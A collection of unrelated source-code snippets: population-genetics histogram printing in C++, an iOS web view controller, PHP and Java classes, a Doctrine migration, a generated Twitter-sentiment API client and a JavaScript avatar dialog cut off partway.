    hp[*numhistprint].yscaleadjust = (GRIDSIZE / (T[i].pr.max)) / numstepsrecorded;
    hp[*numhistprint].xscaleadjust = scaleumean / timeumean;;
    hp[*numhistprint].before = T[i].v->beforemin;
    hp[*numhistprint].after = T[i].v->aftermax;
  }
  //writehistogram (outfile, *numhistprint,1); //JK: comment this out
  orig2d_free2D ((void **) t_prior_divide, numsplittimes); //JK 3/15/16: Does this need to be moved into the writehistogram function?
  return (writehistogram(outfile, *numhistprint,1,"Divergence Time/Mutation Rates"));
}                               //void prepare_tprior_divide_histograms(int *numhistprint);

//JK 3/10/16: change return type
TiXmlElement *print_populationmigrationrate_histograms (FILE * outfile,
                                               int *numhistprint,
                                               int prob_or_like)
{
  int i, j, k, hpi, mpop, thetai, mi, found;
  char tempstr[PARAMSTRLEN];
  double pmmax, tempy, tempx, maxxfind;
  popmigxy = (struct plotpoint **) malloc((size_t)(*numhistprint * sizeof (struct plotpoint *)));
  for (i = 0; i <*numhistprint; i++)
    popmigxy[i] = (struct plotpoint *) malloc ((size_t)  (GRIDSIZE * sizeof (struct plotpoint)));

  hpi = 0;
  if (modeloptions[PARAMETERSBYPERIOD])
  {
    for (k = 0; k < lastperiodnumber; k++)
    {
      for (i = 0; i < npops - k; i++)
      {
        mpop = C[0]->plist[k][i];

        thetai = 0;
        found = 0;
        while (!found && thetai < numpopsizeparams)
        {
          found = (k == atoi (&itheta[thetai].str[1])
                   && mpop == atoi (&itheta[thetai].str[3]));
          if (!found)
            thetai++;
        }
        assert (thetai < numpopsizeparams);
        for (mi = 0; mi < nummigrateparams; mi++)
        {
          found = 0;
          if (modeloptions[SINGLEMIGRATIONBOTHDIRECTIONS])
          {
            found = (k == atoi (&imig[mi].str[1])
                     && (mpop == atoi (&imig[mi].str[3])
                         || mpop == atoi (&imig[mi].str[6])));
          }
          else
          {
            found = (k == atoi (&imig[mi].str[1])
                     && mpop == atoi (&imig[mi].str[3]));
          }
          if (found)
          {
            sprintf (tempstr, "%d,2N%d", k, mpop);
            if (modeloptions[SINGLEMIGRATIONBOTHDIRECTIONS])
            {
              strcat (tempstr, "m");
              strcat (tempstr, &imig[mi].str[3]);
            }
            else
            {
              strcat (tempstr, imig[mi].str);
            }
            strcpy (hp[hpi].str, tempstr);
            if (modeloptions[EXPOMIGRATIONPRIOR])
            {
              pmmax = EXPOMIGPLOTSCALE * imig[mi].pr.mean;
            }
            else
            {
              pmmax = itheta[thetai].pr.max * imig[mi].pr.max / 2.0;
            }
            j = GRIDSIZE-1;
            maxxfind = 0;
            while (maxxfind==0 && j >= 0)
            {
              tempx = (j + 0.5) * pmmax / GRIDSIZE;
              if (modeloptions[EXPOMIGRATIONPRIOR])
                tempy = calc_pop_expomig (thetai, mi,tempx , prob_or_like);
              else
                tempy = calc_popmig (thetai, mi,tempx , prob_or_like);
              if (tempy > 1e-9)
                maxxfind = tempx;
              else
                j--;
            }
            if (j < 0)
              maxxfind = pmmax;
            for (j = 0; j < GRIDSIZE; j++)
            {
              popmigxy[hpi][j].x = (j + 0.5) * maxxfind / GRIDSIZE;
              if (modeloptions[EXPOMIGRATIONPRIOR])
              {
                popmigxy[hpi][j].y = 1;
              }
              else
              {
                popmigxy[hpi][j].y = calc_popmig (thetai, mi, popmigxy[hpi][j].x, prob_or_like);
              }
            }
            hp[hpi].xy = popmigxy[hpi];
            hp[hpi].xscaleadjust = hp[hpi].yscaleadjust = 1;
            hp[hpi].before = 0;
            hp[hpi].after = 0;
            hpi++;
          }
        }
      }
    }
  }
  else
  {
    for (i = 0; i < numtreepops - 1; i++)
    {
      thetai = i;
      for (mi = 0; mi < nummigrateparams; mi++)
      {
        if (modeloptions[SINGLEMIGRATIONBOTHDIRECTIONS])
        {
          found = ((thetai == atoi (&imig[mi].str[1])) || (thetai == atoi (&imig[mi].str[4])));
        }
        else
        {
          found = thetai == atoi (&imig[mi].str[1]);
        }
        if (found)
        {
          sprintf (tempstr, "2N%d", thetai);
          strcat (tempstr, imig[mi].str);
          strcpy (hp[hpi].str, tempstr);
          if (modeloptions[EXPOMIGRATIONPRIOR])
          {
            pmmax = EXPOMIGPLOTSCALE * imig[mi].pr.mean;
          }
          else
          {
            pmmax = itheta[thetai].pr.max * imig[mi].pr.max / 2.0;
          }
          j = GRIDSIZE-1;
          maxxfind = 0;
          while (maxxfind==0 && j >= 0)
          {
            tempx = (j + 0.5) * pmmax / GRIDSIZE;
            if (modeloptions[EXPOMIGRATIONPRIOR])
              tempy = calc_pop_expomig (thetai, mi,tempx , prob_or_like);
            else
              tempy = calc_popmig (thetai, mi,tempx , prob_or_like);
            if (tempy > 1e-9)
              maxxfind = tempx;
            else
              j--;
          }
          if (j < 0)
            maxxfind = pmmax;
          for (j = 0; j < GRIDSIZE; j++)
          {
            popmigxy[hpi][j].x = (j + 0.5) * maxxfind / GRIDSIZE;
            if (modeloptions[EXPOMIGRATIONPRIOR])
              popmigxy[hpi][j].y = calc_pop_expomig (thetai, mi, popmigxy[hpi][j].x, prob_or_like);
            else
              popmigxy[hpi][j].y = calc_popmig (thetai, mi, popmigxy[hpi][j].x, prob_or_like);
          }
          hp[hpi].xy = popmigxy[hpi];
          hp[hpi].xscaleadjust = hp[hpi].yscaleadjust = 1;
          hp[hpi].before = 0;
          hp[hpi].after = 0;
          hpi++;
        }
      }
    }
  }
  //writehistogram (outfile, hpi,0); //JK: comment this line out
  orig2d_free2D ((void **) popmigxy, *numhistprint);
  return(writehistogram(outfile, hpi, 0,"Population Sizes and Migration Rates"));
}                               //void print_populationmigrationrate_histograms

void prepare_migration_histograms (int locusrow, int nummigdirs)
{
  int i;
/* 8/26/2011 */
  for (i = 0; i < nummigdirs; i++)
  {
    hp[i].xy = migration_counts[locusrow][i].xy;
    strcpy (hp[i].str, migration_counts[locusrow][i].str);
    hp[i].yscaleadjust = 1 / (double) numstepsrecorded;
    hp[i].xscaleadjust = 1;
    hp[i].before = 0;
    hp[i].after = 0;
  }
/*
  for (i = 0; i < 2 * nummigdirs; i++)
  {
    hp[i].xy = migration_counts_times[locusrow][i].xy;
    strcpy (hp[i].str, migration_counts_times[locusrow][i].str);
    hp[i].yscaleadjust = 1 / (double) numstepsrecorded;
    hp[i].xscaleadjust = 1;
    hp[i].before = 0;
    hp[i].after = 0;
  } */
}                               // prepare migration histograms

void free_print_histogram (void)
{
  XFREE (hp);
  XFREE (smthmaxvals);
}                               // free_print_histogram

void init_print_histogram (int maxnumhist)
{
  hp = (struct histprintstructure *) malloc (maxnumhist * sizeof (struct histprintstructure));
  smthmaxvals = static_cast<double *> (malloc (maxnumhist * sizeof (double)));
}                               // init_print_histogram

/***** GLOBAL FUNCTIONS **********/

/* to print one or more histograms:
-----------------------------------

histograms are printing using
static struct histprintstructure *hp;
The details of stuct histprintstructure are given at the top of this file.

There are two main steps to printing a table with multiple histograms:
1)write a function to prepare *hp ( pointer to struct histprintstructure)
hp already exists,  but where it points to needs to be set.
This function should also set the value of numhistprint, the number of histograms to print
	e.g. prepare_myhistogram(&humhistprint)
2) make a call to writehistogram(), which should print whatever *hp is pointing at

For example:
write a function  prepare_myhistogram(&humhistprint)
Add the following function calls to printhistograms():
  prepare_myhistogram(&humhistprint)
  writehistogram (outfile, numhistprint);
It is also helpful to precede these by some FP statements that explain the histograms.

*/

void printhistograms (FILE * outfile, long int recordstep,
                      double generationtime, double scaleumeaninput, char * outfilename)
{
  int numhistprint = 0, uratecount;
  int li, predictmcmchist = 0, predictparamhist = 0, numhist;
  int numhistsets, histsetcount;
//JK: init doc, declaration, make histogram node
  TiXmlDocument doc;
  TiXmlDeclaration *decl = new TiXmlDeclaration("1.0","","");
  doc.LinkEndChild(decl);
  TiXmlElement *allhistograms = new TiXmlElement("AllHistograms");

  // number passed to init_print_histograms  just needs to be large enough to hold as many histograms as might be printed

  for (li = 0; li < nloci; li++)
    predictmcmchist += L[li].nlinked + (L[li].umodel[0] == HKY);
  predictparamhist = numpopsizeparams + 2 * nummigrateparams;
  numhist = numsplittimes + IMAX(predictmcmchist,predictparamhist);
  init_print_histogram (numhist);
  numstepsrecorded = recordstep;

  FP "HISTOGRAMS\n");
  FP "==========\n");
  FP "  Each histogram is given as %d pairs of values (i.e. two columns side by side).\n", GRIDSIZE);
  FP "  In each case the left column is the value of the parameter or term (i.e. x value)\n");
  FP "  and the right column is the estimated posterior probability (i.e. y value).\n");
  FP "  HPD (Highest Posterior Density) intervals are estimated, and may be incorrect: \n");
  FP "  Possible HPD footnotes: \n");
  FP "       '?' HPD interval may be incorrect due to multiple peaks\n");
  FP "       '#' HPD may not be useful - posterior density does not reach low levels near either the upper or the lower limit of the prior\n");

  numhistsets = 2;
  numhistsets += (outputoptions[POPMIGPARAMHIST] && nummigrateparams > 0);
  numhistsets += (outputoptions[PRINTTMRCA]);
  numhistsets += (outputoptions[THISTDIVIDEBYPRIOR] && numsplittimes > 1);
  FP"\nNUMBER OF GROUPS OF HISTOGRAM TABLES : %d\n\n",numhistsets);

  histsetcount = 1;
  prepare_splittime_and_mutation_rate_histograms (&numhistprint);
  if (numhistprint)
  {
    FP "HISTOGRAM GROUP %d: MARGINAL DISTRIBUTION VALUES AND HISTOGRAMS OF PARAMETERS IN MCMC\n", histsetcount);
    FP "----------------------------------------------------------------------------------\n");
    FP "    curve height is an estimate of marginal posterior probability\n");
    if (runoptions[LOADRUN])
      FP "  IMa LOAD TREES MODE  - splittime values loaded from *.ti file, mutation rate scalar histograms are not available \n");
    allhistograms->LinkEndChild(writehistogram (outfile, numhistprint,1,"Temporary Name")); //JK: link to allhistograms
    //  calculate the average mutation rate scalar
    if (outputoptions[PRINTDEMOGHIST])  // need to set the scalars needed for demographic histograms using info contained in smthmaxvals[], which was set in in last call to writehistogram
    {
      uratecount = getdemogscale (scaleumeaninput);
      numhistsets += ((runoptions[LOADRUN] && (scaleumeaninput <= 0)) || uratecount == 0);
    }
    numhistprint = 0;
    histsetcount++;
  }

  prepare_parameter_histograms (&numhistprint);
  if (numhistprint)
  {
    FP "\n\nHISTOGRAM GROUP %d: MARGINAL DISTRIBUTION VALUES AND HISTOGRAMS OF POPULATION SIZE AND MIGRATION PARAMETERS\n", histsetcount);
    FP "--------------------------------------------------------------------------------------------------------\n");
    FP "       curve height is an estimate of marginal posterior probability\n");
    allhistograms->LinkEndChild(writehistogram (outfile, numhistprint,0,"Temporary Name")); //JK: link to allhistograms
  }
  numhistprint = 0;

  if (outputoptions[PRINTDEMOGHIST])
  {
    if ((runoptions[LOADRUN] && (scaleumeaninput <= 0)) || uratecount == 0)
    {
      FP "\n\nPROBLEM CALCULATING HISTOGRAMS ON DEMOGRAPHIC SCALES\n");
      if (runoptions[LOADRUN] && (scaleumeaninput <= 0))
        FP " If run in LOADMODE,  user must provide the geometric mean mutation scalar estimate \n");
      if (uratecount == 0)
        FP " Mutation rates not provided in input file - at least one locus must have a mutation rate provided \n");
    }
    else
    {
      numhistprint = 0;
      prepare_demographic_scale_histograms (&numhistprint, generationtime);
      if (numhistprint)
      {
        histsetcount++;
        FP "\n\nHISTOGRAM GROUP %d: MARGINAL DISTRIBUTION VALUES IN DEMOGRAPHIC UNITS\n", histsetcount);
        FP "--------------------------------------------------------------------\n");
        FP "\tCalculations use mutation rates (in years) and generation time (in years) input at runtime\n");
        FP "\t  - note, curve height has not been adjusted with the scale change. Integration does not equal 1 \n");
        FP "\t  - # of loci with mutation rates in input file : %d \n",uratecount);
        FP "\tRescaled Population Size Parameter Units: individuals \n");
        FP "\tRescaled Time Parameter Units: years\n");
        FP "\tGeneration time in years specified on command line at runtime: %lf \n", generationtime);
        FP "\tGeometric mean of mutation rates per year (based on rates specified in input file): %le\n", timeumean);
        if (runoptions[LOADRUN])
          FP "\tGeometric mean of ML estimates of relevant mutation rate scalars given on commandline at runtime: %le\n", scaleumeaninput);
        else
        {
          if (scaleumeaninput > 0)
            FP "\tGeometric mean of ML estimates of relevant mutation rate scalars given on commandline at runtime: %le\n", scaleumeaninput);
          else
            FP "\tGeometric mean of ML estimates of relevant mutation rate scalars calculated from scalar histograms: %le\n", scaleumean);
        }
        allhistograms->LinkEndChild(writehistogram (outfile, numhistprint,1,"Temporary Name")); //JK: link to allhistograms
      }
    }
  }
  else
  {
    scaleumean = 1;
    timeumean = 1;
  }
  if (outputoptions[POPMIGPARAMHIST] && nummigrateparams > 0)
  {
    if (modeloptions[SINGLEMIGRATIONBOTHDIRECTIONS])
      numhistprint = 2 * nummigrateparams;
    else
      numhistprint = nummigrateparams;
    if (numhistprint)
    {
      histsetcount++;
      FP "\n\nHISTOGRAM GROUP %d: POPULATION MIGRATION (2NM) POSTERIOR PROBABILITY HISTOGRAMS\n", histsetcount);
      FP "-----------------------------------------------------------------------------\n");
      FP "     curve height is an estimate of the posterior probability\n");
      FP "      each term is the product of a population parameter (e.g. q0) and a migration rate (e.g.m0>1) \n");
      FP "      migration rates are in the coalescent (backwards in times), so that a population migration rate of \n");
      FP "        q1m0>1  is the population rate (forward in time) at which population 1 receives migrants from population 0\n");
//JK: link next statement to doc
      print_populationmigrationrate_histograms (outfile, &numhistprint, 0);       // writehistogram() called from within this because of memory allocation within
    }
    /*  not sure if it is useful to get likelihoods  for 2NM values,  or what they even mean,  drop this  4/24/09
    FP "\n\nPOPULATION MIGRATION (2NM) RELATIVE LIKELIHOOD HISTOGRAMS\n");
    FP "------------------------------------------------------------\n");
    FP "     curve height is an estimate of the relative likelihood\n");
    FP "      each histogram is the posterior probability (see histograms for population migration terms) divided by the prior probability\n");
    FP "      each term is the product of a population parameter (e.g. q0) and a migration rate (e.g.m0>1) \n");
    FP "      migration rates are in the coalescent (backwards in times), so that a population migration rate of \n");
    FP "        q1m0>1  is the population rate (forward in time) at which population 1 receives migrants from population 0\n");

    print_populationmigrationrate_histograms (outfile, &numhistprint, 1);       // writehistogram() called from within this because of memory allocation within
    */
  }
  if (outputoptions[PRINTTMRCA])
  {
    numhistprint = 0;
    prepare_tmrca_histograms (&numhistprint);
    if (numhistprint)
    {
      histsetcount++;
      FP "\n\nHISTOGRAM GROUP %d: MARGINAL DISTRIBUTIONS OF TMRCA VALUES\n", histsetcount);
      FP "--------------------------------------------------------\n");
      allhistograms->LinkEndChild(writehistogram (outfile, numhistprint,1,"Temporary Name")); //JK: link to allhistograms
    }
  }
  if (outputoptions[THISTDIVIDEBYPRIOR] && numsplittimes > 1)
  {
    histsetcount++;
    FP "\n\nHISTOGRAM GROUP %d: POPULATION SPLITTING TIME LIKELIHOODS (SPLITTIME TIME HISTOGRAMS DIVIDED BY PRIOR DISTRIBUTIONS)\n",histsetcount);
    FP "----------------------------------------------------------------------------------------------------------------\n");
    FP "     curve height is an estimate of the relative marginal likelihood\n");
    numhistprint = 0;
//JK: link next statement to allhistograms
    allhistograms->LinkEndChild(print_tprior_divide_histograms (outfile, &numhistprint));    // writehistogram() called from within this because of memory allocation within
  }
  free_print_histogram ();
//JK: link allhistograms, create filename, save to file
  doc.LinkEndChild(allhistograms);
  std::stringstream s("");
  s << outfilename << ".histograms.xml";
#ifdef XML_ENABLED
  doc.SaveFile(s.str().c_str());
#endif
}                               // printhistograms

/* plots of counts and times of migration events are handled a little differently than
  other histograms.  They still are done by a call to writehistogram(), but the printing
  is done to a different file,  so that's why this function was created */
//JK: any additional changes to this?
void printmigrationhistograms (FILE * outfile, long int recordstep)
{
  int i, nummigdirs;
  nummigdirs = 2*(npops-1)*(npops-1);
  //init_print_histogram (2 * nummigrateparams);
  init_print_histogram (2 * nummigdirs);
  numstepsrecorded = recordstep;
//JK: init doc
  TiXmlDocument doc;
  TiXmlDeclaration *decl = new TiXmlDeclaration("1.0","","");
  doc.LinkEndChild(decl);

  FP "================================================================\n");
  FP "MIGRATION COUNT DISTRIBUTIONS:  BY LOCUS AND MIGRATION PARAMETER\n");
  FP "================================================================\n\n");
  FP "NOTE: As of 4/1/2011,  IMa2 does not record the distribution of migration times.\n\n");

  FP "    All migration events are recorded in the coalescent direction (i.e. backwards in time)\n");
  FP "    If there are multiple loci, the first set of histograms is for sums across loci \n");
/*
  if (nloci > 1)
  {
    FP "    Each set of histograms corresponds to migration counts recorded for one locus \n");
    FP "    All migration events are recorded in the coalescent direction (i.e. backwards in time)\n");
    FP "    If there are multiple loci, the first set of histograms is for sums across loci \n");
  } */
/*  FP "     Curves labeled by source and target population and " "_t"
    "  give the distribution of the time of migration events\n");
  FP "         in the sampled genealogies  \n");
  FP "         in the sampled genealogies  \n\n");
  FP "NOTE: As of 4/1/2011,  IMa2 no longer records the distribution of migration times.\n\n"); */

  /*FP "     Curves labeled by by source and target population and " "_#"
    " give the distribution of the number of migration \n");
  FP "         events in the sampled genealogies\n"); */

  FP "===========================================================================================================\n\n");
  for (i = 0; i < nloci + (nloci > 1); i++)
  {
    prepare_migration_histograms (i, nummigdirs);
    FP "===================\n");
    FP " LOCUS: ");
    if (nloci > 1 && i == 0)
    {
      FP " SUM ACROSS ALL LOCI\n");
    }
    else
    {
      if (nloci > 1)
        FP " %s\n", L[i - 1].name);
      else
        FP " %s\n", L[i].name);
    }
    FP "===================\n");
    /* 8/26/2011 */
    doc.LinkEndChild(writehistogram (outfile, nummigdirs,1,"Temporary Name")); //JK: link to dov
    //writehistogram (outfile, 2 * nummigdirs,1);
  }
#ifdef XML_ENABLED
  doc.SaveFile("mighistograms.xml");
#endif
  free_print_histogram ();
}                               // printmigrationhistograms


text:
@interface ZXQWebViewController ()

@property (nonatomic, weak) JSManagedValue *managedValue;

@end

@implementation ZXQWebViewController

- (void)callTel:(NSString *)params {
    NSLog(@"callTel: %@", params);
}

- (void)eat:(NSString *)food {
    NSLog(@"eat: %@", food);
}

- (void)viewDidLoad {
    [super viewDidLoad];

    UIButton *button = [UIButton buttonWithType:UIButtonTypeSystem];
    button.backgroundColor = [UIColor blackColor];
    button.frame = CGRectMake(20, 300, 200, 100);
    [button setTitle:@"Back" forState:UIControlStateNormal];
    [button addTarget:self action:@selector(buttonClick:) forControlEvents:UIControlEventTouchUpInside];
    [self.view addSubview:button];

    UIButton *button2 = [UIButton buttonWithType:UIButtonTypeSystem];
    button2.backgroundColor = [UIColor blackColor];
    button2.frame = CGRectMake(20, 500, 200, 100);
    [button2 setTitle:@"Reload" forState:UIControlStateNormal];
    [button2 addTarget:self action:@selector(reload:) forControlEvents:UIControlEventTouchUpInside];
    [self.view addSubview:button2];
}

- (void)reload:(id)sender {
    [self loadJsContext];
}

- (void)buttonClick:(id)sender {
    [self dismissViewControllerAnimated:YES completion:nil];
}

- (void)dealloc {
    NSLog(@"ZXQWebViewController did dealloc");
}

@end


text:
<?php
declare(strict_types=1);

namespace Triniti\Schemas\Sys;

use Gdbots\Pbj\WellKnown\SlugIdentifier;

/**
 * A picklist id is just a friendly slug identifer.
 * e.g. "credits", "swipes", "countries-iso2"
 *
 */
final class PicklistId extends SlugIdentifier
{
}


text:
namespace SmoothGraphics
{
	class LightController
	{
		std::map<UINT, LightData*> lightData;

		StructuredBuffer* lightDataBuffer;
		BufferController* bufferController;

		UINT lightIndex = 0;
		bool dirty;

	public:
		LightController(BufferController* bufferController)
		{
			this->dirty = false;
			this->bufferController = bufferController;
		}

		HRESULT CreateLight(LightData* data);

		HRESULT UpdateLight();

		HRESULT UpdateBuffers(ID3D11DeviceContext* immediate);

		std::vector<LightData> getContiguousData()
		{
			std::vector<LightData> contiguousLightData;

			for (auto data : lightData)
			{
				contiguousLightData.push_back(*data.second);
			}

			return contiguousLightData;
		}

		UINT getCount()
		{
			return this->lightData.size();
		}
	};
}


text: Implementation of shamirs secret sharing in golang, mainly to try out a bit of Go


text:
<?php declare(strict_types=1);

namespace DoctrineMigrations;

use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;

/**
 * Auto-generated Migration: Please modify to your needs!
 */
final class Version20190625135431 extends AbstractMigration
{
    public function up(Schema $schema) : void
    {
        // this up() migration is auto-generated, please modify it to your needs
        $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');

        $this->addSql('CREATE TABLE block_template_block (id INT AUTO_INCREMENT NOT NULL, node_id INT DEFAULT NULL, INDEX IDX_886C4B4A460D9FD7 (node_id), PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE = InnoDB');
        $this->addSql('ALTER TABLE block_template_block ADD CONSTRAINT FK_886C4B4A460D9FD7 FOREIGN KEY (node_id) REFERENCES block_node (id) ON DELETE CASCADE');
        $this->addSql('ALTER TABLE block_node ADD template VARCHAR(255) DEFAULT NULL');
    }

    public function down(Schema $schema) : void
    {
        // this down() migration is auto-generated, please modify it to your needs
        $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');

        $this->addSql('DROP TABLE block_template_block');
        $this->addSql('ALTER TABLE block_node DROP template');
    }
}


text:
/*
 * BuzzlogixTextAnalysisAPILib
 *
 * This file was automatically generated for buzzlogix by APIMATIC BETA v2.0 on 12/06/2015
 */
package com.buzzlogix.controllers;

import java.io.*;
import java.util.*;
import java.util.concurrent.*;

import com.buzzlogix.http.client.HttpClient;
import com.buzzlogix.http.client.HttpContext;
import com.buzzlogix.http.request.HttpRequest;
import com.buzzlogix.http.response.HttpResponse;
import com.buzzlogix.http.response.HttpStringResponse;
import com.buzzlogix.http.client.APICallBack;
import com.buzzlogix.*;

public class TwittersentimentController extends BaseController {

    //private fields for configuration

   /** Supply your API Key.  */
    private String xMashapeKey;

   /**
    * Constructor with authentication and configuration parameters */
    public TwittersentimentController (String xMashapeKey) {
        this.xMashapeKey = xMashapeKey;
    }

   /**
    * Constructor with authentication and configuration parameters */
    public TwittersentimentController (HttpClient _client, String xMashapeKey) {
        super(_client);
        this.xMashapeKey = xMashapeKey;
    }

    /**
     * The Tweet should be provided as text/plain in the body
     * @param    body    Required parameter: Supply text to be classified.
	 * @return	Returns the LinkedHashMap<String, Object> response from the API call*/
    public void createReturnEnglishTwitterSentimentPlaintextAsync(
            final String body,
            final APICallBack<LinkedHashMap<String, Object>> callBack
    ) {
        //the base uri for api requests
        String baseUri = Configuration.baseUri;

        //prepare query string for API call
        StringBuilder queryBuilder = new StringBuilder(baseUri);
        queryBuilder.append("/twittersentiment");
        //validate and preprocess url
        String queryUrl = APIHelper.cleanUrl(queryBuilder);

        //load all headers for the outgoing API request
        Map<String, String> headers = new HashMap<String, String>() {
            private static final long serialVersionUID = 5574147764123119533L;
            {
                    put( "user-agent", "APIMATIC 2.0" );
                    put( "accept", "application/json" );
                    put( "X-Mashape-Key", xMashapeKey );
            }
        };

        //prepare and invoke the API call request to fetch the response
        final HttpRequest request = clientInstance.postBody(queryUrl, headers, body);

        //invoke request and get response
        Runnable responseTask = new Runnable() {
            public void run() {
                //make the API call
                clientInstance.executeAsStringAsync(request, new APICallBack<HttpResponse>() {
                    public void onSuccess(HttpContext context, HttpResponse response) {
                        try {
                            //Error handling using HTTP status codes
                            int responseCode = response.getStatusCode();
                            if ((responseCode < 200) || (responseCode > 206)) //[200,206] = HTTP OK
                                throw new APIException("HTTP Response Not OK", responseCode, response.getRawBody());

                            //extract result from the http response
                            LinkedHashMap<String, Object> result = APIHelper.deserialize(((HttpStringResponse)response).getBody());

                            //let the caller know of the success
                            callBack.onSuccess(context, result);
                        } catch (APIException error) {
                            //let the caller know of the error
                            callBack.onFailure(context, error);
                        } catch (Exception exception) {
                            //let the caller know of the caught Exception
                            callBack.onFailure(context, exception);
                        }
                    }
                    public void onFailure(HttpContext context, Throwable error) {
                        //let the caller know of the failure
                        callBack.onFailure(context, error);
                    }
                });
            }
        };

        //execute async using thread pool
        APIHelper.getScheduler().execute(responseTask);
    }

    /**
     * The Tweet should be provided as multipart/form-data with the key 'text'. Files can be uploaded.
     * @param    text    Required parameter: Supply text to be classified.
	 * @return	Returns the LinkedHashMap<String, Object> response from the API call*/
    public void createReturnEnglishTwitterSentimentMultipartFormAsync(
            final File text,
            final APICallBack<LinkedHashMap<String, Object>> callBack
    ) {
        //the base uri for api requests
        String baseUri = Configuration.baseUri;

        //prepare query string for API call
        StringBuilder queryBuilder = new StringBuilder(baseUri);
        queryBuilder.append("/twittersentiment");
        //validate and preprocess url
        String queryUrl = APIHelper.cleanUrl(queryBuilder);

        //load all headers for the outgoing API request
        Map<String, String> headers = new HashMap<String, String>() {
            private static final long serialVersionUID = 5490292999287834673L;
            {
                    put( "user-agent", "APIMATIC 2.0" );
                    put( "accept", "application/json" );
                    put( "X-Mashape-Key", xMashapeKey );
            }
        };

        //load all fields for the outgoing API request
        Map<String, Object> parameters = new HashMap<String, Object>() {
            private static final long serialVersionUID = 4684197212493034419L;
            {
                    put( "text", text );
            }
        };

        //prepare and invoke the API call request to fetch the response
        final HttpRequest request = clientInstance.post(queryUrl, headers, APIHelper.prepareFormFields(parameters));

        //invoke request and get response
        Runnable responseTask = new Runnable() {
            public void run() {
                //make the API call
                clientInstance.executeAsStringAsync(request, new APICallBack<HttpResponse>() {
                    public void onSuccess(HttpContext context, HttpResponse response) {
                        try {
                            //Error handling using HTTP status codes
                            int responseCode = response.getStatusCode();
                            if ((responseCode < 200) || (responseCode > 206)) //[200,206] = HTTP OK
                                throw new APIException("HTTP Response Not OK", responseCode, response.getRawBody());

                            //extract result from the http response
                            LinkedHashMap<String, Object> result = APIHelper.deserialize(((HttpStringResponse)response).getBody());

                            //let the caller know of the success
                            callBack.onSuccess(context, result);
                        } catch (APIException error) {
                            //let the caller know of the error
                            callBack.onFailure(context, error);
                        } catch (Exception exception) {
                            //let the caller know of the caught Exception
                            callBack.onFailure(context, exception);
                        }
                    }
                    public void onFailure(HttpContext context, Throwable error) {
                        //let the caller know of the failure
                        callBack.onFailure(context, error);
                    }
                });
            }
        };

        //execute async using thread pool
        APIHelper.getScheduler().execute(responseTask);
    }

    /**
     * Return the sentiment of an English Tweet supplied in an encoded form using key 'text'.
     * @param    text    Required parameter: Supply the Tweet to be classified.
	 * @return	Returns the LinkedHashMap<String, Object> response from the API call*/
    public void createReturnEnglishTwitterSentimentEncodedFormAsync(
            final String text,
            final APICallBack<LinkedHashMap<String, Object>> callBack
    ) {
        //the base uri for api requests
        String baseUri = Configuration.baseUri;

        //prepare query string for API call
        StringBuilder queryBuilder = new StringBuilder(baseUri);
        queryBuilder.append("/twittersentiment");
        //validate and preprocess url
        String queryUrl = APIHelper.cleanUrl(queryBuilder);

        //load all headers for the outgoing API request
        Map<String, String> headers = new HashMap<String, String>() {
            private static final long serialVersionUID = 4865634708553781162L;
            {
                    put( "user-agent", "APIMATIC 2.0" );
                    put( "accept", "application/json" );
                    put( "X-Mashape-Key", xMashapeKey );
            }
        };

        //load all fields for the outgoing API request
        Map<String, Object> parameters = new HashMap<String, Object>() {
            private static final long serialVersionUID = 5208285901246787974L;
            {
                    put( "text", text );
            }
        };

        //prepare and invoke the API call request to fetch the response
        final HttpRequest request = clientInstance.post(queryUrl, headers, APIHelper.prepareFormFields(parameters));

        //invoke request and get response
        Runnable responseTask = new Runnable() {
            public void run() {
                //make the API call
                clientInstance.executeAsStringAsync(request, new APICallBack<HttpResponse>() {
                    public void onSuccess(HttpContext context, HttpResponse response) {
                        try {
                            //Error handling using HTTP status codes
                            int responseCode = response.getStatusCode();
                            if ((responseCode < 200) || (responseCode > 206)) //[200,206] = HTTP OK
                                throw new APIException("HTTP Response Not OK", responseCode, response.getRawBody());

                            //extract result from the http response
                            LinkedHashMap<String, Object> result = APIHelper.deserialize(((HttpStringResponse)response).getBody());

                            //let the caller know of the success
                            callBack.onSuccess(context, result);
                        } catch (APIException error) {
                            //let the caller know of the error
                            callBack.onFailure(context, error);
                        } catch (Exception exception) {
                            //let the caller know of the caught Exception
                            callBack.onFailure(context, exception);
                        }
                    }
                    public void onFailure(HttpContext context, Throwable error) {
                        //let the caller know of the failure
                        callBack.onFailure(context, error);
                    }
                });
            }
        };

        //execute async using thread pool
        APIHelper.getScheduler().execute(responseTask);
    }

}


text:
<?php

namespace Pazuzu156\Gravatar\Laravel;

use Illuminate\Support\Facades\Facade;

/**
 * Gravatar class's facade.
 */
class GravatarFacade extends Facade
{
    /**
     * {@inheritdoc}
     */
    protected static function getFacadeAccessor()
    {
        return 'gravatar';
    }
}


text:
package com.cgomez.xml.bibliographic;

import javax.xml.bind.annotation.XmlRootElement;

import com.cgomez.xml.AbstractBibliographicCitation;

/**
 * Article.
 *
 * @author Carlos Gomez
 * @since dl-java-1.0
 */
@XmlRootElement(name = "article")
public class Article extends AbstractBibliographicCitation {
}


text:
const GelatoDialog = require('gelato/dialog');

/**
 * @class AvatarSelectDialog
 * @extends {GelatoDialog}
 */
module.exports = GelatoDialog.extend({
  /**
   * @property events
   * @type {Object}
   */
  events: {
    'click .avatar': 'handleClickAvatar',
    'click .button-close': 'handleClickClose',
  },

  /**
   * @property template
   * @type {Function}
   */
  template: require('./AvatarSelectDialog.jade'),

  /**
   * An array of our local avatars.
   * @property avatars
   * @type {Array}
   */
  avatars: [
    'art_new',
    'attack',
    'bird',
    'bullfight',
    'calligraphy_pen',
    'choco_revenge',
    'cloud',
    'code_monkey',
    'comic_dude',
    'crane_man',
    'crazy_man',
    'cube',
    'cute_thing',
    'dancer',
    'dead_friends',
    'diamond',
    'dj',
    'domo_news',
    'flower',
    'fox',
    'fridge',
    'happy_head',
    'harp',
    'hippo',
    'ice_cream_cone',
    'iceberg',
    'jazz_horse',
    'leprechaun',
    'manta_ray',
    'michael_trooper',
    'platy',
    'pomegranate',
    'preposterous',
    'science',
    'science_bomb',
    'science_rock',
    'small_car',
    'springy_knight',
    'squirrel',
    'teddybear',
    'the_future',
    'washington',
    'win',
    'yarrr',
  ],

  /**
   * @method render
